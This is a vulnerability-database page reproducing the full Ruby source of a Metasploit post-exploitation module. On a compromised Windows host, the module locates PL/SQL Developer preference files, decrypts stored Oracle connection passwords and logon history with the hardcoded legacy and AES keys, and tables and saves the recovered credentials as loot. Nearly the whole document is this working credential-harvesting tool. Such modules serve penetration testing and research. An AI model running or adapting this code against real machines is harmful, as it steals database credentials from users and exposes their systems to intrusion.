Lucene search
K

Windows Gather PL/SQL Developer Connection Credentials

🗓️ 09 Nov 2023 19:51:07Reported by Adam Caudill, Jemmy WangType 
metasploit
 metasploit
🔗 www.rapid7.com👁 290 Views

Windows Gather PL/SQL Developer Connection Credentials decryption and password retrieva

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::Windows::UserProfiles
  include Msf::Post::File

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather PL/SQL Developer Connection Credentials',
        'Description' => %q{
          This module can decrypt the histories and connection credentials of PL/SQL Developer,
          and passwords are available if the user chooses to remember.
        },
        'License' => MSF_LICENSE,
        'References' => [
          [ 'URL', 'https://adamcaudill.com/2016/02/02/plsql-developer-nonexistent-encryption/']
        ],
        'Author' => [
          'Adam Caudill', # Discovery of legacy decryption algorithm
          'Jemmy Wang' # Msf module & Discovery of AES decryption algorithm
        ],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_ls
              stdapi_fs_separator
              stdapi_fs_stat
            ]
          }
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )
    register_options(
      [
        OptString.new('PLSQL_PATH', [ false, 'Specify the path of PL/SQL Developer']),
      ]
    )
  end

  def decrypt_str_legacy(str)
    result = ''
    key = str[0..3].to_i
    for i in 1..(str.length / 4 - 1) do
      n = str[(i * 4)..(i * 4 + 3)].to_i
      result << (((n - 1000) ^ (key + i * 10)) >> 4).chr
    end
    return result
  end

  # New AES encryption algorithm introduced since PL/SQL Developer 15.0
  def decrypt_str_aes(str)
    bytes = Rex::Text.decode_base64(str)

    cipher = OpenSSL::Cipher.new('aes-256-cfb8')
    cipher.decrypt
    hash = Digest::SHA1.digest('PL/SQL developer + Oracle 11.0.x')
    cipher.key = hash + hash[0..11]
    cipher.iv = bytes[0..7] + "\x00" * 8

    return cipher.update(bytes[8..]) + cipher.final
  end

  def decrypt_str(str)
    # Empty string
    if str == ''
      return ''
    end

    if str.match(/^(\d{4})+$/)
      return decrypt_str_legacy(str) # Legacy encryption
    elsif str.match(%r{^X\.([A-Za-z0-9+/]{4})*([A-Za-z0-9+/]{4}|[A-Za-z0-9+/]{3}=|[A-Za-z0-9+/]{2}==)$})
      return decrypt_str_aes(str[2..]) # New AES encryption
    end

    # Shouldn't reach here
    print_error("Unknown encryption format: #{str}")
    return '[Unknown]'
  end

  # Parse and separate the history string
  def parse_history(str)
    # @keys is defined in decrypt_pref, and this function is called by decrypt_pref after @keys is defined
    result = Hash[@keys.map { |k| [k.to_sym, ''] }]
    result[:Parent] = '-2'

    if str.end_with?(' AS SYSDBA')
      result[:ConnectAs] = 'SYSDBA'
      str = str[0..-11]
    elsif str.end_with?(' AS SYSOPER')
      result[:ConnectAs] = 'SYSOPER'
      str = str[0..-12]
    else
      result[:ConnectAs] = 'Normal'
    end

    # Database should be the last part after '@' sign
    ind = str.rindex('@')
    if ind.nil?
      # Unexpected format, just use the whole string as DisplayName
      result[:DisplayName] = str
      return result
    end

    result[:Database] = str[(ind + 1)..]
    str = str[0..(ind - 1)]

    unless str.count('/') == 1
      # Unexpected format, just use the whole string as DisplayName
      result[:DisplayName] = str
      return result
    end

    result[:Username] = str[0..(str.index('/') - 1)]
    result[:Password] = str[(str.index('/') + 1)..]

    return result
  end

  def decrypt_pref(file_name)
    file_contents = read_file(file_name)
    if file_contents.nil? || file_contents.empty?
      print_status "Skipping empty file: #{file_name}"
      return []
    end

    print_status("Decrypting #{file_name}")
    result = []

    logon_history_section = false
    connections_section = false

    # Keys that we care about
    @keys = %w[DisplayName Number Parent IsFolder Username Database ConnectAs Password]
    # Initialize obj with empty values
    obj = Hash[@keys.map { |k| [k.to_sym, ''] }]
    # Folder parent objects
    folders = {}

    file_contents.split("\n").each do |line|
      line.gsub!(/(\n|\r)/, '')

      if line == '[LogonHistory]' && !(logon_history_section || connections_section)
        logon_history_section = true
        next
      elsif line == '[Connections]' && !(logon_history_section || connections_section)
        connections_section = true
        next
      elsif line == ''
        logon_history_section = false
        connections_section = false
        next
      end

      if logon_history_section
        # Contents in [LogonHistory] section are plain encrypted strings
        # Calling the legacy decrypt function is intentional here
        result << parse_history(decrypt_str_legacy(line))
      elsif connections_section
        # Contents in [Connections] section are key-value pairs
        ind = line.index('=')
        if ind.nil?
          print_error("Invalid line: #{line}")
          next
        end

        key = line[0..(ind - 1)]
        value = line[(ind + 1)..]

        if key == 'Password'
          obj[:Password] = decrypt_str(value)
        elsif obj.key?(key.to_sym)
          obj[key.to_sym] = value
        end

        # Color is the last field of a connection
        if key == 'Color'
          if obj[:IsFolder] != '1'
            result << obj
          else
            folders[obj[:Number]] = obj
          end

          # Reset obj
          obj = Hash[@keys.map { |k| [k.to_sym, ''] }]
        end

      end
    end

    # Build display name (Add parent folder name to the beginning of the display name)
    result.each do |item|
      pitem = item
      while pitem[:Parent] != '-1' && pitem[:Parent] != '-2'
        pitem = folders[pitem[:Parent]]
        if pitem.nil?
          print_error("Invalid parent: #{item[:Parent]}")
          break
        end
        item[:DisplayName] = pitem[:DisplayName] + '/' + item[:DisplayName]
      end

      if item[:Parent] == '-2'
        item[:DisplayName] = '[LogonHistory]' + item[:DisplayName]
      else
        item[:DisplayName] = '[Connections]/' + item[:DisplayName]
      end

      # Remove fields used to build the display name
      item.delete(:Parent)
      item.delete(:Number)
      item.delete(:IsFolder)

      # Add file path to the final result
      item[:FilePath] = file_name
    end

    return result
  end

  def enumerate_pref(plsql_path)
    result = []
    pref_dir = plsql_path + session.fs.file.separator + 'Preferences'
    session.fs.dir.entries(pref_dir).each do |username|
      udir = pref_dir + session.fs.file.separator + username
      file_name = udir + session.fs.file.separator + 'user.prefs'

      result << file_name if directory?(udir) && file?(file_name)
    end

    return result
  end

  def run
    print_status("Gather PL/SQL Developer Histories and Credentials on #{sysinfo['Computer']}")
    profiles = grab_user_profiles
    pref_paths = []

    profiles.each do |user_profiles|
      session.fs.dir.entries(user_profiles['AppData']).each do |dirname|
        if dirname.start_with?('PLSQL Developer')
          search_dir = user_profiles['AppData'] + session.fs.file.separator + dirname
          pref_paths += enumerate_pref(search_dir)
        end
      end
    end
    pref_paths += enumerate_pref(datastore['PLSQL_PATH']) if datastore['PLSQL_PATH'].present?

    result = []
    pref_paths.uniq.each { |pref_path| result += decrypt_pref(pref_path) }

    tbl = Rex::Text::Table.new(
      'Header' => 'PL/SQL Developer Histories and Credentials',
      'Columns' => ['DisplayName', 'Username', 'Database', 'ConnectAs', 'Password', 'FilePath']
    )

    result.each do |item|
      tbl << item.values
    end

    print_line(tbl.to_s)
    # Only save data to disk when there's something in the table
    if tbl.rows.count > 0
      path = store_loot('host.plsql_developer', 'text/plain', session, tbl, 'plsql_developer.txt', 'PL/SQL Developer Histories and Credentials')
      print_good("Passwords stored in: #{path}")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation